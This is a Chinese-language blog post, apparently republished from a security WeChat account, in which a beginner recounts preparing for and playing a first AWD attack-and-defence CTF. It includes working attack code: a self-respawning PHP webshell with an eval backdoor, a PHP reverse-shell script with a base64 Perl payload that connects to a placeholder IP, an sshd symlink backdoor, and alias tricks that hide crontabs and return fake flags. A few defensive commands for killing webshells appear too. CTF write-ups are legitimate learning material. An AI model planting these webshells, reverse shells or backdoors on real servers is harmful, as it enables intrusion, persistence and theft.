记第一次 AWD 赛前准备与赛后小结

  • A+
所属分类:逆向工程

记第一次 AWD 赛前准备与赛后小结

记录一下菜鸟第一次打 AWD 的经历,可能会对跟我一样的小白们有些帮助。

比赛之前,先记录一下学的东西。感谢(@Sn0w)学长搭建的 AWD 靶场给我们。

基础知识网上有好多,就不写了。

不死马的利用与删除

首先学习的就是不死马,因为它比较经典吧。

记第一次 AWD 赛前准备与赛后小结

密码为 md5 加密过的为 m0re666,然后传入参数。

假设已经上传不死马。

首先,利用方式为,先访问一下,一般是 upload 文件夹有上传权限,所以一般放这里,访问

http://xxx.xxx.xxx.xxx:/upload/header.php

访问执行后,不死马开始起作用了,直接访问:

http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system('cat /flag');

得到 flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。

变种不死马

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.login.php';$file1 = '-header.php';$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';while (1){    file_put_contents($file,$code);    //system('touch -m -d "2018-12-01 09:10:12" .login.php');    file_put_contents($file1,$code);    usleep(5000);}?>#passwd=m0re666&m0re=system('cat /flag');

这个变种的,它的不同点在文件名,是 - 开头的,这里介绍一下这个比较骚的知识点。

- 开头的文件名,因为在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开启 docker 进行尝试。

记第一次 AWD 赛前准备与赛后小结

杀掉不死马

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

通过条件竞争查杀
#!/bin/bashdire="/var/www/html/.base.php/"file="/var/www/html/.base.php"rm -rf $filemkdir $dire./xx.sh

具体的其他杀不死马的方式还有很多,不列举了。

反弹 shell

如下是一个可以反弹 shell 的 php 脚本:

<?php  function which($pr) {    $path = execute("which $pr");    return ($path ? $path : $pr);  }  function execute($cfe) {    $res = '';    if ($cfe) {      if(function_exists('exec')) {        @exec($cfe,$res);        $res = join("n",$res);      }      elseif (function_exists('shell_exec')) {        $res = @shell_exec($cfe);      }      elseif (function_exists('system')) {        @ob_start();        @system($cfe);        $res = @ob_get_contents();        @ob_end_clean();      }      elseif (function_exists('passthru')) {        @ob_start();        @passthru($cfe);        $res = @ob_get_contents();        @ob_end_clean();      }      elseif (@is_resource($f = @popen($cfe, "r"))) {        $res = '';        while([email protected]($f)) {          $res .= @fread($f,1024);        }        @pclose($f);      }    }    return $res;  }  function cf($fname, $text) {    if($fp = @fopen($fname, 'w')) {      @fputs($fp, @base64_decode($text));      @fclose($fp);    }  }$yourip = "xxx.xxx.xxx.xxx";$yourport = '1024';$usedb = array('perl'=>'perl','c'=>'c');$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";cf('/tmp/.bc',$back_connect);$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");?>

使用方法也是很简单,将 shell 文件上传至可访问的地方

开启 nc 监听

nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:

记第一次 AWD 赛前准备与赛后小结

然后记个小 tip:美化终端,不过还是别花时间做这个了,虽然就一条命令。

python -c "import pty; pty.spawn('/bin/bash')"

记第一次 AWD 赛前准备与赛后小结

小 Trick: 使用 find / -name *flag* 或 grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

记第一次 AWD 赛前准备与赛后小结

软链接

可以创建个软链接,链接到根目录下 flag

ln -s /flag /var/www/html/upload/footer.js

这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的 upload 文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。

然后直接 cat upload 文件夹下的 footer.js 就可以得到 flag

也可以直接访问 upload/footer.js 得到 flag 如下:

记第一次 AWD 赛前准备与赛后小结

第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个 flag 链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。

ssh 免密登录(未尝试)

在终端执行此命令,然后可以实现 ssh 免密登陆

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

连接:

ssh [email protected] -p 5555

密码随意。

其他

alias 命令,命令文档。

记第一次 AWD 赛前准备与赛后小结

怎么说,就是看利用方式

记第一次 AWD 赛前准备与赛后小结

root 权限怎么会没权限?别人进来也无法 cat 到 flag,当然还可以使用其他办法查看。

还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。

crontab -r  alias crontab="echo no crontab for `whoami` ||"#返回假的flagalias cat="echo `date`|md5sum|cut -d ' ' -f1||"

主机发现

比赛可能会告诉你其他队伍的 IP,也可能不会告诉你,一般在同一个 C 段或者 B 段,因此需要首先利用 nmaphttpscan等扫描工具发现其他队伍的 IP。

nmap:

nmap –sn 192.168.71.0/24

httpscan

./httpscan.py 10.20.30.0/24 –t 10

修改 curl 命令

alias curl='echo fuckoff' #权限要求较低# 或者alias curl='python -c "__import__("sys").stdout.write("flag{%s}\n" % (__import__("hashlib").md5("".join([__import__("random").choice(__import__("string").letters) for i in range(0x10)])).hexdigest()))"'chmod -x curl #降权,取消执行权限(权限要求较高)

关闭不必要端口

netstat -napt 查看当前网络连接状态lsof -i 用以显示符合条件的进程情况lsof -i:22  查看22端口现在运行什么程序kill -9 <PID>  杀掉进程nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)

批量提交 flag 的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。

赛后

吐槽:真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。

赛题复现

dump 下来 html 源码,使用 D 盾扫描

记第一次 AWD 赛前准备与赛后小结

发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如 fock 炸弹等……

接下来就是 Seay 源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。

记第一次 AWD 赛前准备与赛后小结

然后根据漏洞进行验证就可以了。

总结

AWD 的话,我是负责攻击,防御交给队友,其实面对新手的小型比赛,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的,这次比赛,过程很懵,我以为不同队伍是 C 段不同而已,结果是 ==emmmm,估计是开的 docker,服了。

如果,批量没实现,就尝试一个个的上传吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。emmm,目前我收集到的东西就这么多,比较适合盲目百度而不知道从何下手的新手。请师傅们轻点喷。

记第一次 AWD 赛前准备与赛后小结

本文始发于微信公众号(信安之路):记第一次 AWD 赛前准备与赛后小结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: